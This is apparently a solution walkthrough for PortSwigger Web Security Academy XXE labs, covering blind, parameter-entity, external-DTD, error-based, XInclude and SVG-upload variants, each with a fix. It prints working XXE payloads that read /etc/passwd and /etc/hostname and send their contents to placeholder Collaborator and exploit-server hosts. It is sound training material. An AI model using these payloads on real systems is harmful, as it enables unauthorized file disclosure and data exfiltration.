XML external entity (XXE) injection
PortSwigger Web Security Academy · Practitioner
- #XXE

Blind XXE with Out-of-Band Interaction
The vulnerability
You don’t see the result, but the parser still loads external entities. If you point one to Burp Collaborator, you see the request arrive.
Fix: Switch off external entities in the XML parser.
The lab
This lab has a “Check stock” feature that parses XML input but does not display the result.
You can detect the blind XXE vulnerability by triggering out-of-band interactions with an external domain.
To solve the lab, use an external entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.
Solution
1. Intercept the Stock Check Request: On the website, select a product and click “Check stock.” In Burp Suite’s Proxy → HTTP history, find the POST /product/stock request and right-click to Send to Repeater.
2. Generate a Burp Collaborator Payload: Open the Burp Collaborator client and copy its unique URL to use as your payload.
3. Inject the OOB XXE Payload: In Repeater, add a DOCTYPE declaration to the XML body that defines an external entity pointing to your Collaborator URL. Reference this entity within a tag (e.g., productId).
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYS "http://COLLABORATOR_URL"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>
Note*: Replace the SYS with SYSTEM in the payload*
4. Check for OOB Interaction: Send the request. Although the response may be a HTTP/2 400 Bad Request, a successful vulnerability exploit will be confirmed by switching to the Burp Collaborator client and observing the incoming DNS and HTTP queries.
Tip
An active scan on POST /product/stock in Burp Suite may find the XXE vulnerability.
Blind XXE with Out-of-Band Interaction via XML Parameter Entities
The vulnerability
Normal external entities are blocked. Parameter entities, the ones with %, aren’t.
Fix: Switch off all external entities, including parameter entities.
The lab
This lab has a “Check stock” feature that parses XML input, but does not display any unexpected values, and blocks requests containing regular external entities.
To solve the lab, use a parameter entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.
Solution
1. Intercept the Stock Check Request: On the website, select a product and click “Check stock.” In Burp Suite’s Proxy → HTTP history, find the POST /product/stock request and right-click to Send to Repeater.
2. Generate a Burp Collaborator Payload: Open the Burp Collaborator client and copy its unique URL.
3. Inject the Parameter Entity Payload: In Repeater, add a DOCTYPE declaration that defines a parameter entity (% xxe) and calls it immediately after. This bypasses the filter that blocks regular external entities.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY % xxe SYS "http://COLLABORATOR_URL"> %xxe; ]>
<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
Note*: Replace the SYS with SYSTEM in the payload*
4. Check for OOB Interaction: Send the request. Even with an HTTP/2 400 Bad Request response, the Burp Collaborator client will show incoming DNS and HTTP queries, confirming the vulnerability and its successful exploitation.
Tip
An active scan on POST /product/stock in Burp Suite may find the XXE vulnerability.
Exploiting Blind XXE to Exfiltrate Data Using a Malicious External DTD
The vulnerability
You don’t see the result, so you put a DTD on your own server. It reads the file and adds the content to a URL on your server.
Fix: Switch off external entities and DTDs in the XML parser.
The lab
This lab has a “Check stock” feature that parses XML input but does not display the result.
To solve the lab, exfiltrate the contents of the
/etc/hostnamefile.
Solution
- Set Up the Exploit Server: Go to the Exploit Server provided by the lab. Create a malicious DTD in the body with the following content. This DTD defines a file entity, then an evaluation entity to embed the file content into an OOB request.
<!ENTITY % file SYS "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYS 'http://COLLABORATOR_URL/?x=%file;'>">
%eval;
%exfil;
Note*: Replace the SYS with SYSTEM in the payload*
Replace COLLABORATOR_URL with your unique Burp Collaborator URL. Click "Store exploit" and copy the exploit server URL.
2. Intercept the Stock Check Request: On the website, select a product and click “Check stock.” In Burp Suite’s Proxy → HTTP history, find the POST /product/stock request and right-click to Send to Repeater.
3. Inject the External DTD Payload: In Repeater, add a DOCTYPE declaration that points to your malicious DTD hosted on the Exploit Server.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYS "https://EXPLOIT_SERVER/exploit"> %xxe;]>
<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
Note*: Replace the SYS with SYSTEM in the payload*
Replace EXPLOIT_SERVER with the URL of your exploit server.
4. Check Burp Collaborator for Exfiltrated Data: Send the request. The server’s XML parser will request your DTD, read the /etc/hostname file, and send its content to your Collaborator URL. Check the Burp Collaborator client. You'll see an incoming HTTP request where the hostname is included in the URL as a query parameter (e.g., /?x=lab_hostname). The hostname is the data to solve the lab.
Tip
An active scan on POST /product/stock in Burp Suite may find the XXE vulnerability.
Exploiting Blind XXE to Retrieve Data via Error Messages
The vulnerability
The DTD on your server reads the file and then tries to open a path that contains its content. That path doesn’t exist, so you find it in the error message.
Fix: Switch off external entities, and don’t show detailed error messages.
The lab
This lab has a “Check stock” feature that parses XML input but does not display the result.
To solve the lab, use an external DTD to trigger an error message that displays the contents of the
/etc/passwdfile.The lab contains a link to an exploit server on a different domain where you can host your malicious DTD.
Solution
1. Set Up the Exploit Server: Go to the Exploit Server provided by the lab. Create a malicious DTD in the body with the following content. This DTD defines an entity that reads /etc/passwd and another that attempts to access a file using this content, triggering a detailed error message.
<!ENTITY % file SYS "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYS 'file:///invalid/%file;'>">
%eval;
%exfil;
Note*: Replace the SYS with SYSTEM in the payload*
Click “Store exploit” and copy the exploit server URL.
2. Intercept the Stock Check Request: On the website, select a product and click “Check stock.” In Burp Suite’s Proxy → HTTP history, find the POST /product/stock request and right-click to Send to Repeater.
3. Inject the External DTD Payload: In Repeater, add a DOCTYPE declaration that points to your malicious DTD hosted on the Exploit Server.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYS "https://EXPLOIT_SERVER/exploit"> %xxe;]>
<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
Note*: Replace the SYS with SYSTEM in the payload*
Replace EXPLOIT_SERVER with the URL of your exploit server.
4. Retrieve passwd Content from Error Message: Send the request. The application will respond with an HTTP/2 400 Bad Request, and the body of the response will contain a detailed error message. This message will include the full content of the /etc/passwd file, which was used in the invalid file path, thus solving the lab.
Tip
An active scan on POST /product/stock in Burp Suite may find the XXE vulnerability.
Exploiting XInclude to Retrieve Files
The vulnerability
You can’t change the whole XML document, only one value in it. That’s enough for XInclude, which loads a file without a DTD.
Fix: Switch off XInclude if you don’t need it.
The lab
This lab has a “Check stock” feature that embeds the user input inside a server-side XML document that is subsequently parsed.
Because you don’t control the entire XML document you can’t define a DTD to launch a classic XXE attack.
To solve the lab, inject an XInclude statement to retrieve the contents of the
/etc/passwdfile.
Solution
- Intercept the Stock Check Request: On the website, select a product and click “Check stock.” In Burp Suite’s
Proxy → HTTP history, find thePOST /product/stockrequest and right-click to Send to Repeater. - Inject the XInclude Payload: The
productIdparameter's value is being embedded within the server's XML document. In Repeater, replace the value of theproductIdparameter with an XInclude payload. - Retrieve
/etc/passwdContent: Send the request. The response will contain the content of the/etc/passwdfile, and the lab is solved.
Tip
An active scan on POST /product/stock in Burp Suite may find the XXE vulnerability.
Exploiting XXE via Image File Upload
The vulnerability
Avatars can be SVG files, and SVG is XML. When the server converts the image, it loads your entity, and the content of the file is visible in the picture.
Fix: Switch off external entities in the image library too, or don’t allow SVG.
The lab
This lab lets users attach avatars to comments and uses the Apache Batik library to process avatar image files.
To solve the lab, upload an image that displays the contents of the
/etc/hostnamefile after processing. Then use the "Submit solution" button to submit the value of the server hostname.
Solution
1. Create a Malicious SVG File: Create a new file (e.g., xxe.svg) with the following content. This SVG file declares an external entity that reads the /etc/hostname file and then displays its content as text within the image.
?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [
<!ENTITY xxe SYS "file:///etc/hostname" >
]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
Note*: Replace the SYS with SYSTEM in the payload*
2. Upload the SVG as an Avatar: On the website, go to a blog post and create a new comment. Upload your malicious SVG file as the avatar for the comment and then post it.
3. View Hostname in the Processed Image: View your comment. The application’s image processor will have rendered the SVG, and instead of an image, the output of /etc/hostname will be displayed as text.
4. Submit the Hostname to Solve Lab: The hostname is the value to be submitted to the lab’s solution field. Copy the hostname from the displayed avatar and submit it to solve the lab.